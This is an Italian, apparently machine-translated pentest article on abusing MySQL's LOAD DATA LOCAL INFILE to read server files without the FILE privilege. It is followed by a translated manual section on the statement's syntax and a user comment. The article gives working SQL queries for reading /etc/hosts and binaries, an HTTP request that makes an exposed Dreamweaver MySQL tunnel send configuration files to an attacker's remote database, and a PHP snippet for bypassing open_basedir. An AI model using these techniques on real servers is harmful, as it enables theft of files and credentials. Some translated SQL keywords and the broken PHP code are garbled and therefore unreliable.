Descrivo una situazione abbastanza comune. Durante il pentest, è stato ottenuto l'accesso a phpMyAdmin su un host remoto, ma non è stato possibile accedere ai file attraverso di esso. Il famigerato flag FILE_PRIV=no nelle impostazioni del demone MySQL è responsabile di tutto. Molti in questa situazione si arrendono e credono che i file sull'host non possano più essere letti in questo modo. Ma non è sempre così.

AVVERTIMENTO

Tutte le informazioni sono fornite solo a scopo informativo. Né gli editori né l'autore sono responsabili per eventuali danni causati dai materiali di questo articolo.

Preludio

Quando si tratta dell'interazione del DBMS MySQL con il file system, di solito ricordano:

• la funzione LOAD_FILE, che permette di leggere i file sul server;
• il costrutto SELECT ... INTO OUTFILE, che può essere utilizzato per creare nuovi file.

Di conseguenza, se ottieni l'accesso a phpMyAdmin o qualsiasi altro client su una macchina remota, allora con un'alta probabilità puoi accedere a MySQL tramite MySQL. sistema di file. Ma solo se il flag FILE_PRIV=yes è impostato nelle impostazioni del demone, il che non è sempre il caso. In questo caso, dobbiamo ricordare di un altro operatore, molto meno conosciuto, ma allo stesso tempo dotato di funzionalità abbastanza potenti. Sto parlando dell'istruzione LOAD DATA INFILE, le cui caratteristiche saranno discusse in questo articolo.

Interazione tra PHP e MySQL

PHP è il linguaggio più utilizzato per la creazione di applicazioni Web, quindi vale la pena dare un'occhiata più da vicino a come interagisce con un database.

In PHP4, le librerie client MySQL erano incluse per impostazione predefinita e incluse nella distribuzione PHP, quindi durante l'installazione era possibile scegliere di non utilizzare MySQL solo specificando l'opzione

senza mysql.

PHP5 viene fornito senza una libreria client. Sui sistemi *nix, PHP5 viene solitamente compilato con la libreria libmysqlclient già installata sul server, semplicemente impostando l'opzione

Con-mysql=/usr

durante il montaggio. Allo stesso tempo, prima della versione 5.3, per interagire con il server MySQL viene utilizzata una libreria client MySQL di basso livello (libmysql), un'interfaccia non ottimizzata per la comunicazione con le applicazioni PHP.

Il MySQL Native Driver (mysqlnd) è stato sviluppato per PHP 5.3 e versioni successive e la recente versione di PHP 5.4 utilizza questo driver per impostazione predefinita. Sebbene il driver MySQL integrato sia scritto come un'estensione PHP, è importante capire che non fornisce una nuova API al programmatore PHP. L'API del database MySQL per il programmatore è fornita dalle estensioni MySQL, mysqli e PDO_MYSQL. Queste estensioni possono utilizzare il driver MySQL integrato per comunicare con il demone MySQL.

L'utilizzo del driver MySQL integrato presenta alcuni vantaggi rispetto alla libreria client MySQL: ad esempio, non è necessario installare MySQL per creare PHP o utilizzare script che funzionano con il database. Di più informazioni dettagliate informazioni su MySQL Native Driver e le sue differenze rispetto a libmysql possono essere trovate nella documentazione.

Le estensioni MySQL, mysqli e PDO_MYSQL possono essere configurate individualmente per utilizzare libmysql o mysqlnd. Ad esempio, per configurare l'estensione MySQL in modo che utilizzi MySQL Client Library e l'estensione mysqli in modo che funzioni con MySQL Native Driver, devi specificare le seguenti opzioni:

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

Sintassi CARICA DATI

L'istruzione LOAD DATA, come dice la documentazione, legge righe da un file e le carica in una tabella ad altissima velocità. Può essere utilizzato con parola chiave LOCAL (disponibile in MySQL 3.22.6 e versioni successive) che specifica da dove verranno caricati i dati. Se la parola LOCAL è assente, il server carica il file specificato nella tabella con its macchina locale, non dal computer del client. Cioè, il file non verrà letto dal client MySQL, ma dal server MySQL. Ma anche questa operazione richiede il privilegio FILE (il flag FILE_PRIV=yes). L'esecuzione dell'istruzione in questo caso può essere paragonata all'utilizzo della funzione LOAD_FILE, con l'unica differenza che i dati vengono caricati nella tabella e non visualizzati. Pertanto, utilizzare LOAD DATA INFILE per leggere i file ha senso solo quando la funzione LOAD_FILE non è disponibile, ovvero su versioni molto vecchie del server MySQL.

Ma se l'istruzione viene utilizzata in questa forma: LOAD DATA LOCAL INFILE , ovvero utilizzando la parola LOCAL, il file viene già letto dal programma client (sulla macchina del client) e inviato al server in cui si trova il database. Allo stesso tempo, il privilegio FILE, ovviamente, non è necessario per accedere ai file (poiché tutto avviene sulla macchina del cliente).

Estensioni MySQL/mysqli/PDO_MySQL e istruzione LOAD DATA LOCAL

Nell'estensione MySQL, la possibilità di utilizzare LOCAL è controllata dalla direttiva PHP_INI_SYSTEM mysql.allow_local_infile. Per impostazione predefinita, questa direttiva ha un valore pari a 1 e quindi l'operatore di cui abbiamo bisogno è solitamente disponibile. Inoltre, la funzione mysql_connect consente di abilitare l'uso di LOAD DATA LOCAL se il quinto argomento è la costante 128.

Quando l'estensione PDO_MySQL viene utilizzata per connettersi al database, possiamo anche abilitare il supporto LOCAL utilizzando la costante PDO::MYSQL_ATTR_LOCAL_INFILE (integer)

$pdo = new PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

Ma le maggiori possibilità di lavorare con l'istruzione LOAD DATA sono fornite dall'estensione mysqli. Questa estensione fornisce anche la direttiva PHP_INI_SYSTEM mysqli.allow_local_infile, che regola l'uso di LOCAL.

Se la connessione viene effettuata tramite mysqli_real_connect, allora con l'aiuto di mysqli_options possiamo abilitare e disabilitare il supporto LOCAL. Inoltre, in questa estensione è disponibile la funzione mysqli_set_local_infile_handler, che consente di registrare una funzione di callback per gestire il contenuto dei file letti dall'istruzione LOAD DATA LOCAL INFILE.

Lettura di file

Il lettore attento probabilmente ha già intuito che se disponiamo di un account in phpMyAdmin, saremo in grado di leggere file arbitrari senza avere il privilegio FILE e persino aggirare le restrizioni open_basedir. Dopotutto, molto spesso sia il client (in questo caso phpMyAdmin) che il demone MySQL si trovano sulla stessa macchina. Nonostante le restrizioni della politica di sicurezza Server MySQL, possiamo sfruttare il fatto che questa politica non si applica al client e leggere comunque i file dal sistema, inserendoli nel database.

L'algoritmo è semplice. È sufficiente eseguire le seguenti query SQL:

1. Creiamo una tabella in cui scriveremo il contenuto dei file: CREATE TABLE temp(content text);
2. Invia il contenuto del file alla tabella creata: LOAD DATA LOCAL INFILE "/etc/hosts" INTO TABLE temp FIELDS TERMINATED BY "eof" ESCAPED BY "" LINES TERMINATED BY "eof";

Ecco. I contenuti del file /etc/hosts sono ora nella tabella temporanea. Hai bisogno di leggere i binari? Nessun problema. Se nel primo passaggio creiamo una tabella come questa:

CREATE TABLE "bin" ("bin" BLOB NOT NULL) MOTORE = MYISAM ;

quindi sarà possibile caricare file binari al suo interno. È vero, i bit extra verranno aggiunti alla fine dei file, ma possono essere rimossi in qualsiasi editor esadecimale. Pertanto, puoi scaricare script protetti da IonCube/Zend/TrueCrypt/NuSphere dal server e decodificarli.

Un altro esempio di come è possibile utilizzare LOAD DATA LOCAL INFILE è scoprire il percorso della configurazione di Apache. Questo viene fatto come segue:

1. Innanzitutto, scopriamo il percorso del binario, per questo leggiamo /proc/self/cmdline come descritto sopra.
2. E poi leggiamo direttamente il binario, dove stiamo cercando HTTPD_ROOT/SERVER_CONFIG_FILE.

È chiaro che in questa situazione gli script phpMyAdmin svolgono il ruolo di un client per connettersi al database. E invece di phpMyAdmin, puoi usare qualsiasi altra interfaccia web per lavorare con MySQL.

Ad esempio, è possibile utilizzare gli script per eseguire il backup e il ripristino del database. Nel 2007, un hacker francese di nome acidroot pubblicò un exploit basato su questa osservazione e che rendeva possibile leggere i file dal pannello di amministrazione di phpBB.<= 2.0.22.

Il tunnel è comodo. Tunnel non sicuro

Quando si installano applicazioni Web complesse, è spesso richiesto l'accesso diretto al database, ad esempio per la configurazione iniziale e la regolazione degli script. Pertanto, in alcuni casi è consigliabile installare un semplice script sul server, il cosiddetto MySQL Tunnel, che consente di interrogare il database utilizzando un comodo client anziché il pesante phpMyAdmin.

Esistono parecchi tunnel per lavorare con il database, ma non sono tutti molto comuni. Forse uno dei più famosi è Macromedia Dream Weaver Server Scripts. Puoi vedere il codice sorgente di questo script.

La principale differenza tra MySQL Tunnel e phpMyAdmin è la necessità di inserire non solo login e password dal database, ma anche l'host a cui ci si vuole connettere. Allo stesso tempo, i tunnel vengono spesso lasciati attivi, beh, per ogni evenienza, non sai mai cos'altro deve essere regolato. Sembra che tu possa usarli solo se hai un account nel database, allora perché aver paura? Insomma, sembra che il tunnel non rappresenti una particolare minaccia per la sicurezza del web server. Ma in realtà, non tutto è buono come sembra a prima vista.

Considera la seguente situazione. Lascia che il server A abbia un sito site.com con un tunnel stabilito http://site.com/_mmServerScripts/MMHTTPDB.php. Supponiamo che sul server A sia possibile utilizzare LOAD DATA LOCAL (come discusso sopra, questo, ad esempio, è possibile con le impostazioni predefinite). In questo caso, possiamo prendere un server MySQL remoto, i cui database sono consentiti da qualsiasi luogo e che consente anche di utilizzare LOCAL, e connetterci a questo server utilizzando un tunnel. Dati per la connessione a un server MySQL remoto:

Host DB: xx.xx.xx.xxx Nome DB: name_remote_db Utente DB: our_user Pass DB: our_pass

In questa situazione, il server A svolgerà il ruolo di client, e quindi possiamo inviare file dal suo host a un database remoto o, in altre parole, leggere file. Con la seguente semplice richiesta:

Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE /path/to/script/setup_options.php" INTO TABLE tmp_tbl FIELDS TERMINATED BY "__eof__" ESCAPED BY "" RIGHE TERMINATE DA "__eof__"

Questa vulnerabilità, infatti, è più pericolosa della normale lettura dei file: permette di leggere i file di configurazione degli script installati sul server A. Attraverso lo stesso tunnel è possibile accedere direttamente al database che gestisce questi script. La tecnica sopra descritta per l'utilizzo dei tunnel muscolari può essere leggermente generalizzata e applicata quando si sfruttano le vulnerabilità non serializzate.

client-server

Per comprendere meglio le possibilità di LOAD DATA è necessario ricordare che il DBMS MySQL utilizza una tradizionale architettura client-server. Lavorando con MySQL, in realtà lavoriamo con due programmi:

• un programma server di database situato sul computer in cui è memorizzato il database. Il demone mysqld ascolta le richieste dei client sulla rete e accede ai contenuti del database, fornendo le informazioni richieste dai client. Se mysqld viene avviato con --local-infile=0, allora LOCAL non funzionerà;
• il programma client si connette al server e invia le richieste al server. La distribuzione MySQL DBMS include diversi programmi client: il client della console MySQL (il più comunemente usato), oltre a mysqldump, mysqladmin, mysqlshow, mysqlimport e così via. E se necessario, puoi persino creare il tuo programma client basato sulla libreria client libmysql standard, fornita con MySQL DBMS.

Se l'utilizzo del client MySQL standard non riesce a utilizzare l'istruzione LOAD DATA LOCAL, è necessario utilizzare l'opzione --local-infile:

Mysql --local-infile sampdb mysql> LOAD DATA LOCAL INFILE "member.txt" INTO TABLE membro;

Oppure specifica un'opzione per il client nel file /my.cnf:

file-in-locale=1

È importante notare che per impostazione predefinita tutti i client e le librerie MySQL sono compilati con l'opzione --enable-local-infile per garantire la compatibilità con MySQL 3.23.48 e precedenti, quindi LOAD DATA LOCAL è solitamente disponibile per i client standard. Tuttavia, i comandi al server MySQL vengono inviati principalmente non dalla console, ma dagli script, quindi i linguaggi di sviluppo web hanno anche client per lavorare con il database, che possono differire nella funzionalità dal client MySQL standard.

Naturalmente, questa caratteristica dell'istruzione LOAD DATA può rappresentare un rischio per la sicurezza del sistema, quindi a partire da MySQL 3.23.49 e MySQL 4.0.2 (4.0.13 su Win) l'opzione LOCAL funzionerà solo se sia client che server Permettilo.

Aggira le restrizioni di open_basedir

L'utilizzo abbastanza frequente di LOAD DATA consente di aggirare le limitazioni di open_basedir. Questo può essere utile se, ad esempio, abbiamo accesso alla directory di hosting condiviso di un utente, ma vogliamo leggere gli script dalla home directory di un altro utente. Quindi installando questo script

1)); $e=$pdo->exec("LOAD DATA LOCAL INFILE "./path/to/file" INTO TABLE test CAMPI TERMINATI DA "__eof__" ESCAPED BY "" RIGHE TERMINATE DA "__eof__""); $do = nullo; ?>

Conclusione

È curioso che la possibilità descritta dell'operatore LOAD DATA sia nota da almeno dieci anni. La menzione può essere trovata, ad esempio, nel ticket [#15408] (Safe Mode / MySQL Vuln 2002-02-06), e poi domande simili sono emerse ripetutamente su bugs.php.net [#21356] [#23779 ] [#28632 ] [#31261] [#31711]. A cui gli sviluppatori hanno risposto testualmente come segue:

[e-mail protetta] Non è un bug, è una caratteristica :)

O assegnato un ticket "Stato: non risolto". Oppure si limitavano a patch che non risolvevano quasi nulla. I biglietti su questo argomento sono sorti di nuovo. Pertanto, il metodo specificato per aggirare open_basedir funziona ancora su un numero piuttosto elevato di server. Tuttavia, con l'avvento del nuovo driver mysqlnd, sembra che sia stata presa la decisione di apportare modifiche significative: con le impostazioni predefinite, questa istruzione non verrà più eseguita affatto [#54158] [#55737]. Speriamo che nel prossimo futuro gli sviluppatori mettano le cose in ordine in questa faccenda.

LOAD DATA INFILE "nome_file.txt" NELLA TABELLA nome_tbl [ INCLUSO DA ""] ] [(nome_col,...)]

Il comando LOAD DATA INFILE legge righe da un file di testo e le inserisce in una tabella ad altissima velocità. Se viene specificata la parola chiave LOCAL, il file viene letto dall'host client. Se LOCAL non è specificato, il file deve trovarsi sul server. (L'opzione LOCAL è disponibile in MySQL versione 3.22.6 e successive.)

Se i file di testo da leggere si trovano sul server, per motivi di sicurezza questi file devono trovarsi nella directory del database o essere leggibili da tutti gli utenti. Inoltre, per utilizzare il comando LOAD DATA INFILE sui file del server, è necessario disporre dei privilegi FILE sull'host del server. Vedere la sezione 4.2.7 Privilegi concessi da MySQL.

In MySQL 3.23.49 e MySQL 4.0.2, il comando LOCAL non funzionerà se il demone mysqld viene avviato con --local-infile=0 o se il client non ha il supporto LOCAL abilitato. Vedere la sezione 4.2.4 Considerazioni sulla sicurezza relative al comando LOAD DATA LOCAL.

Se viene specificata la parola chiave LOW_PRIORITY, l'esecuzione di questo comando LOAD DATA verrà ritardata finché altri client non avranno terminato di leggere questa tabella.

Se viene specificata la parola chiave CONCURRENT quando si lavora con le tabelle MyISAM, altri thread possono recuperare i dati dalla tabella durante l'esecuzione del comando LOAD DATA. L'utilizzo di questa funzione avrà, ovviamente, un leggero impatto sulle prestazioni LOAD DATA , anche se nessun altro thread sta utilizzando la tabella contemporaneamente.

Quando si utilizza l'opzione LOCAL, l'esecuzione potrebbe essere leggermente più lenta rispetto a consentire al server di accedere direttamente ai file, poiché il contenuto del file deve essere spostato dall'host client al server. D'altra parte, in questo caso non sono necessari i privilegi FILE per caricare i file locali.

Se stai usando versioni di MySQL precedenti alla 3.23.24, non puoi leggere da un FIFO usando il comando LOAD DATA INFILE. Se è necessario leggere da un FIFO (per esempio, lo standard output di gunzip), dovrebbe essere usato LOAD DATA LOCAL INFILE.

È inoltre possibile caricare i file di dati utilizzando l'utilità mysqlimport. Questa utilità esegue il caricamento dei file inviando i comandi LOAD DATA INFILE al server. L'opzione --local fa in modo che mysqlimport legga i file di dati dall'host client. È possibile specificare l'opzione --compress per ottenere prestazioni migliori su reti lente se sia il client che il server supportano il protocollo di compressione dei dati.

Nei casi in cui i file si trovano sul server, quest'ultimo agisce secondo le seguenti regole:

• Se viene fornito un percorso assoluto (completo) a un file, il server utilizza questo percorso senza modifiche.
• Se viene specificato un percorso relativo al file, specificando una o più home directory, la ricerca del file sarà relativa alle directory specificate nella directory dei dati del server (datadir).
• Se viene fornito il percorso di un file senza specificare le home directory, il server cerca il file nella directory del database utilizzato.

Ne consegue che il file specificato come `./myfile.txt" viene letto dalla directory dei dati del server, mentre il file specificato come `myfile.txt" viene letto dalla directory del database in uso. Ad esempio, il seguente comando LOAD DATA legge il file data.txt nella directory del database per db1 perché db1 è il database corrente, anche se il comando indica esplicitamente di caricare il file nella tabella del database db2:

MySQL> USA db1; mysql> LOAD DATA INFILE "data.txt" NELLA TABELLA db2.my_table;

Le parole chiave REPLACE e IGNORE controllano l'elaborazione dei record di input che duplicano i record esistenti con gli stessi valori di chiave univoci. Se REPLACE è specificato, le nuove righe sostituiranno le righe esistenti con la stessa chiave univoca. Se specifichi IGNORE , le righe di input che hanno la stessa chiave univoca di quelle esistenti verranno ignorate. Se non viene specificato alcun parametro, si verifica un errore quando viene trovato un valore di chiave duplicato e il resto del file di testo viene ignorato.

Se i dati vengono caricati da un file locale utilizzando la parola chiave LOCAL, il server non sarà in grado di interrompere il trasferimento dei dati nel mezzo di questa operazione, quindi il comportamento predefinito del comando è lo stesso di quando viene specificato IGNORE.

Quando si utilizza LOAD DATA INFILE su tabelle MyISAM vuote, tutti gli indici non univoci vengono creati in un pacchetto separato (come in REPAIR). Questo di solito velocizza notevolmente l'operazione LOAD DATA INFILE nel caso di un numero elevato di indici.

Il comando LOAD DATA INFILE è complementare a SELECT ... INTO OUTFILE . Vedere la sezione 6.4.1 Sintassi dell'istruzione SELECT. Per scrivere i dati dal database in un file, utilizzare SELECT ... INTO OUTFILE . Per leggere nuovamente i dati nel database, viene utilizzato LOAD DATA INFILE. La sintassi per FIELDS e LINES è la stessa in entrambi i comandi. Entrambe le parti sono facoltative, ma se sono specificate entrambe, FIELDS deve precedere LINES .

Se FIELDS è specificato, anche ciascuna delle sue sottoespressioni (TERMINATED BY , ENCLOSED BY e ESCAPED BY ) è facoltativa, ma almeno una di esse deve essere specificata.

Se l'asserzione FIELDS non è definita, per impostazione predefinita i suoi parametri assumeranno i seguenti valori:

CAMPI TERMINATI DA "\t" RACCHIUSI DA "" ESCAPATI DA "\\"

Se la clausola LINES non è definita, per impostazione predefinita ha la seguente struttura:

RIGHE TERMINATE DA "\n"

In altre parole, con le impostazioni predefinite, il comando LOAD DATA INFILE, durante la lettura dei dati di input, funzionerà come segue:

• Cerca le terminazioni di riga come caratteri `\n'
• Dividi le linee in campi per caratteri di tabulazione.
• Non aspettarti che i campi siano racchiusi tra virgolette.
• Interpreta l'occorrenza di tabulazioni, newline o `\" preceduti da `\" come valori letterali che fanno parte del valore del campo.

Al contrario, se sono attive le impostazioni predefinite per la scrittura dell'output, il comando SELECT ... INTO OUTFILE funzionerà come segue:

• Inserisci i caratteri di tabulazione tra i campi.
• Non racchiudere i campi tra virgolette. Utilizza i caratteri `\" per eseguire l'escape delle istanze di tabulazione, newline o `\" che appaiono tra i valori dei campi.
• Inserisci i caratteri di nuova riga alla fine di ogni voce.

Si noti che la voce FIELDS ESCAPED BY `\" richiede due barre rovesciate affinché un valore venga letto come una singola barra rovesciata.

L'opzione IGNORE number LINES può essere utilizzata per ignorare l'intestazione dei nomi di colonna all'inizio di un file:

Mysql> LOAD DATA INFILE "/tmp/file_name" INTO TABLE test IGNORE 1 LINES;

Quando si utilizza SELECT ... INTO OUTFILE con LOAD DATA INFILE per leggere i dati dal database a un file e quindi dal file al database, le opzioni di elaborazione del campo e della riga per entrambi i comandi devono corrispondere. In caso contrario, LOAD DATA INFILE non sarà in grado di interpretare correttamente il contenuto di questo file. Supponiamo che il comando SELECT ... INTO OUTFILE venga utilizzato per scrivere in un file con campi separati da virgole:

Mysql> SELEZIONA * IN OUTFILE "data.txt" CAMPI TERMINATI DA "," FROM ...;

Mysql> LOAD DATA INFILE "data.txt" NELLA TABELLA table2 CAMPI TERMINATI DA ",";

Mysql> LOAD DATA INFILE "data.txt" INTO TABLE table2 CAMPI TERMINATI DA "\t";

Un risultato simile si otterrebbe se ogni riga di input fosse interpretata come un campo separato.

Il comando LOAD DATA INFILE può essere utilizzato anche per leggere file da fonti esterne. Ad esempio, i campi in un file in formato database dBASE saranno separati da virgole e racchiusi tra doppi apici. Se le righe in questo file terminano con una nuova riga, è possibile utilizzare il seguente comando per scrivere il file, che illustra le opzioni di impostazione che elaborano campi e righe:

Mysql> LOAD DATA INFILE "data.txt" NELLA TABELLA nome_tbl CAMPI TERMINATI DA "," INCLUSO DA """ RIGHE TERMINATE DA "\n";

Qualsiasi opzione che gestisce i campi e le righe può essere una stringa vuota (""). Se la stringa non è vuota, i valori delle opzioni FIELDS ENCLOSED BY e FIELDS ESCAPED BY devono contenere un carattere. I valori delle opzioni FIELDS TERMINATED BY e LINES TERMINATED BY possono contenere più di un carattere. Ad esempio, per scrivere righe che terminano in coppie ``carriage return - line feed'' (come nei file di testo MS DOS o Windows), dovresti specificare la seguente espressione: LINES TERMINATED BY "\r\n" .

CREATE TABLE scherzi (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, scherzo TEXT NOT NULL); LOAD DATA INFILE "/tmp/jokes.txt" NELLA TABELLA jokes CAMPI TERMINATI DA ""; RIGHE TERMINATE DA "\n%%\n" (scherzo);

L'opzione FIELDS ENCLOSED BY controlla i campi racchiusi tra determinati caratteri. Se il parametro OPTIONALLY viene omesso, nell'output (SELECT ... INTO OUTFILE) tutti i campi saranno racchiusi tra i caratteri specificati in ENCLOSED BY . Un esempio di tale output (che utilizza una virgola come separatore di campo) è mostrato di seguito:

"1","una stringa","100.20" "2","una stringa contenente una , virgola","102.20" "3","una stringa contenente una \" citazione","102.20" "4"," una stringa contenente \", virgolette e virgola","102.20"

Se viene specificato il parametro OPTIONALLY, vengono selezionati solo i campi dei tipi CHAR e VARCHAR con il carattere specificato in ENCLOSED BY:

1,"una stringa",100.20 2,"una stringa contenente una , virgola",102.20 3,"una stringa contenente una \" virgoletta",102.20 4,"una stringa contenente una \", virgoletta e virgola",102.20

Si noti che l'aspetto dei caratteri ENCLOSED BY all'interno del valore del campo viene sfuggito applicando un prefisso da ESCAPED BY prima di essi. Si noti inoltre che se ESCAPED BY è nullo, è possibile generare un output che l'istruzione LOAD DATA INFILE non può leggere correttamente. Ad esempio, se il carattere di escape è una stringa vuota, l'output sopra sarà come mostrato di seguito. Si noti che il secondo campo sulla quarta riga contiene una virgola seguita da virgolette, che (erroneamente) sembra delimitare il campo dato:

1,"una stringa",100.20 2,"una stringa contenente una , virgola",102.20 3,"una stringa contenente una " citazione",102.20 4,"una stringa contenente una ", citazione e virgola",102.20

Per l'input, il carattere ENCLOSED BY, se presente, viene rimosso da entrambe le estremità dei valori del campo. (Questo è vero indipendentemente dal fatto che il parametro OPTIONALLY sia specificato o meno: il parametro OPTIONALLY viene ignorato quando si lavora con l'input.) Se viene rilevato un carattere ENCLOSED BY preceduto da un carattere ESCAPED BY, viene interpretato come parte del carattere corrente del campo valore. Inoltre, i caratteri doppi ENCLOSED BY presenti all'interno di un campo vengono interpretati come singoli caratteri ENCLOSED BY se il campo stesso inizia con quel carattere. Ad esempio, se viene specificato ENCLOSED BY """, le virgolette vengono gestite come segue:

"Il capo ""GRANDE"" -> Il capo "GRANDE" Il capo "GRANDE" -> Il capo "GRANDE" Il capo ""GRANDE"" -> Il capo ""GRANDE""

L'opzione FIELDS ESCAPED BY controlla la scrittura o la lettura di caratteri speciali. Se il carattere FIELDS ESCAPED BY non è vuoto, viene utilizzato come prefisso per i seguenti caratteri nell'output:

• CAMPI SCAPPATI DA simbolo
• CAMPI RACCORDI DA simbolo
• Primo carattere di CAMPI TERMINATI DA e LINEE TERMINATE DA
• Carattere ASCII 0 (in realtà, ASCII `0" viene scritto dopo il carattere di escape, non un byte con valore zero)

Se il carattere FIELDS ESCAPED BY è vuoto, non viene eseguito l'escape di nessun carattere. In effetti, non ha senso specificare un carattere di escape vuoto, soprattutto se i valori del campo nei dati in elaborazione contengono uno qualsiasi dei caratteri nell'elenco precedente.

Se il carattere FIELDS ESCAPED BY non è vuoto, allora, nel caso di input, le occorrenze di tale carattere vengono rimosse e il carattere che segue tale occorrenza viene considerato letteralmente come parte del valore del campo. Le eccezioni sono escape `0" o `N" (ad es. \0 o \N se il carattere di escape è `\"). Queste sequenze sono interpretate come ASCII 0 (un byte con valore zero) e NULL . Vedere le regole per gestendo un valore nullo sotto. .

Vedere la sezione 6.1.1 Valori letterali: rappresentazione di stringhe e numeri per ulteriori informazioni sulla sintassi del carattere di escape `\".

In alcuni casi, le opzioni di elaborazione del campo e della riga interagiscono:

• Se LINES TERMINATED BY è una stringa vuota e FIELDS TERMINATED BY è una stringa non vuota, anche le righe terminano con FIELDS TERMINATED BY .
• Se sia FIELDS TERMINATED BY che FIELDS ENCLOSED BY sono vuoti (""), viene utilizzato il formato stringa fisso (nessun delimitatore). Il formato stringa fisso non fornisce alcun separatore tra i campi. Invece, quando si leggono e si scrivono i valori delle colonne, viene usata la larghezza ``output"" delle colonne. Ad esempio, se una colonna è dichiarata come INT(7) , i valori per quella colonna vengono scritti utilizzando campi larghi 7 caratteri. I valori di input per questa colonna si ottengono leggendo 7 caratteri. Il formato stringa fisso influisce anche sulla gestione dei valori NULL (vedi sotto). Si noti che il formato a dimensione fissa non funzionerà quando si utilizza un set di caratteri multibyte.

I valori NULL verranno gestiti in modo diverso a seconda delle opzioni FIELDS e LINES utilizzate:

• Per i valori FIELDS e LINES predefiniti, NULL viene scritto come \N sull'output e \N viene letto come NULL sull'input (supponendo che il carattere ESCAPED BY sia `\").
• Se FIELDS ENCLOSED BY non è vuoto, un campo il cui valore è una parola di lettere NULL viene letto come un valore NULL (al contrario di una parola NULL tra i caratteri FIELDS ENCLOSED BY, che viene letta come la stringa " NULL ").
• Se FIELDS ESCAPED BY è vuoto, NULL viene scritto come parola NULL.
• Nel formato stringa fissa (che si verifica se entrambi gli identificatori FIELDS TERMINATED BY e FIELDS ENCLOSED BY sono vuoti), NULL viene scritto come stringa vuota. Si noti che, di conseguenza, il valore NULL e la stringa vuota in questa tabella saranno indistinguibili quando vengono scritti nel file, poiché sono entrambi scritti come stringhe vuote. Se si desidera che questi valori siano diversi quando il file viene riletto, non utilizzare il formato stringa fisso.

Alcuni casi non supportati dall'istruzione LOAD DATA INFILE:

• Righe a dimensione fissa (FIELDS TERMINATED BY e FIELDS ENCLOSED BY sono entrambi vuoti) e colonne BLOB o TEXT.
• Se viene specificato un delimitatore che corrisponde o è un prefisso di un altro, LOAD DATA INFILE non sarà in grado di interpretare correttamente l'input. Ad esempio, la seguente istruzione FIELDS causerà problemi: FIELDS TERMINATED BY """ ENCLOSED BY """
• Se l'opzione FIELDS ESCAPED BY è vuota, l'occorrenza di un carattere FIELDS ENCLOSED BY o LINES TERMINATED BY in un valore di campo seguito da un carattere FIELDS TERMINATED BY farà sì che il comando LOAD DATA INFILE termini prematuramente la lettura del campo o della riga. Ciò è dovuto al fatto che LOAD DATA INFILE non è in grado di determinare correttamente dove termina un campo o una riga.

L'esempio seguente carica tutte le colonne della tabella persondata:

Mysql> LOAD DATA INFILE "persondata.txt" INTO TABLE persondata;

L'elenco dei campi non è specificato, quindi il comando LOAD DATA INFILE si aspetta che le righe di input completino ogni colonna della tabella. Questo utilizza i valori FIELDS e LINES predefiniti.

Se vuoi caricare solo alcune delle colonne della tabella, devi specificare un elenco di colonne:

Mysql> LOAD DATA INFILE "persondata.txt" INTO TABLE persondata (col1,col2,...);

L'elenco dei campi deve essere specificato anche nei casi in cui l'ordine dei campi nel file di input differisce dall'ordine delle colonne nella tabella data. In caso contrario, MySQL non sarà in grado di mappare i campi di input alle colonne della tabella.

Se una riga contiene troppo pochi campi, le colonne per le quali non sono presenti campi nel file di input vengono impostate sui valori predefiniti. L'assegnazione dei valori predefiniti è descritta nella sezione 6.5.3 Sintassi dell'istruzione CREATE TABLE.

Il valore di un campo vuoto viene interpretato diversamente dall'assenza di un valore:

• Per i tipi stringa, la colonna è impostata sulla stringa vuota.
• Per i tipi numerici, la colonna è impostata su 0 .
• Per i tipi di data e ora, la colonna è impostata sul valore appropriato ``zero"' per quel tipo. Vedere la sezione 6.2.2 Tipi di dati di data e ora.

Si noti che questi sono gli stessi valori che finirebbero in una colonna assegnando esplicitamente una stringa vuota a colonne di tipo stringa, numerico o data o ora in un'istruzione INSERT o UPDATE.

Le colonne TIMESTAMP sono impostate sulla data o ora corrente solo se la colonna è impostata su NULL o (solo per la prima colonna TIMESTAMP) se la colonna TIMESTAMP è esterna all'elenco dei campi, se tale elenco è specificato.

Se la stringa di input ha troppi campi, i campi aggiuntivi vengono ignorati e il numero di avvisi aumenterà.

Il comando LOAD DATA INFILE interpreta tutti i dati di input come stringhe, quindi non è possibile specificare valori numerici per le colonne ENUM o SET allo stesso modo dei comandi INSERT. Tutti i valori ENUM e SET devono essere specificati come stringhe!

Quando si utilizza l'API C, è possibile ottenere informazioni su una query chiamando la funzione API mysql_info() alla fine di una query LOAD DATA INFILE. Quanto segue mostra il formato della riga informativa per questo caso:

Record: 1 Eliminati: 0 Saltati: 0 Avvisi: 0

Gli avvisi vengono emessi nelle stesse circostanze della scrittura di valori con un comando INSERT (vedere la sezione 6.4.3 Sintassi dell'istruzione INSERT), tranne per il fatto che il comando LOAD DATA INFILE genera inoltre avvisi quando ci sono troppo pochi o troppi campi nell'input corda. Gli avvisi non vengono memorizzati da nessuna parte; il numero di avvisi può essere utilizzato solo per verificare se le azioni specificate sono state completate normalmente. Se vuoi sapere esattamente cosa causa gli avvisi, dovresti selezionare ... INTO OUTFILE su un altro file e confrontare il risultato con il file di input originale: questo è l'unico modo per ottenere queste informazioni.

Se devi CARICARE DATI per leggere da una pipe, puoi usare il seguente trucco:

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "LOAD DATA INFILE "x" INTO TABLE x" x

Quando si utilizza una versione di MySQL precedente alla 3.23.25, quanto sopra può essere eseguito solo con LOAD DATA LOCAL INFILE .

Per ulteriori informazioni sull'efficienza di INSERT rispetto a LOAD DATA INFILE e sul guadagno di velocità di LOAD DATA INFILE , vedere la sezione 5.2.9 Velocità di esecuzione della query INSERT.

Commenti degli utenti

Inserito da Jason Tito

[Elimina][Modifica]

"Gli avvisi non vengono memorizzati da nessuna parte; il numero di avvisi può essere utilizzato solo come un
indicazione se tutto è andato bene"

Mi stai prendendo in giro. È fatto come una sorta di punizione DBA? cioè. - Noi
SAPERE quali erano i problemi, ma dovrai solo creare un file di output e guardare attraverso
i tuoi milioni di record per trovarli". MySQL non li inseriva nel log degli errori,
dove appartengono? Vai avanti e rendila un'opzione, ma questo è un problema sufficiente da creare
torno a Oracle (e questo richiede molto).

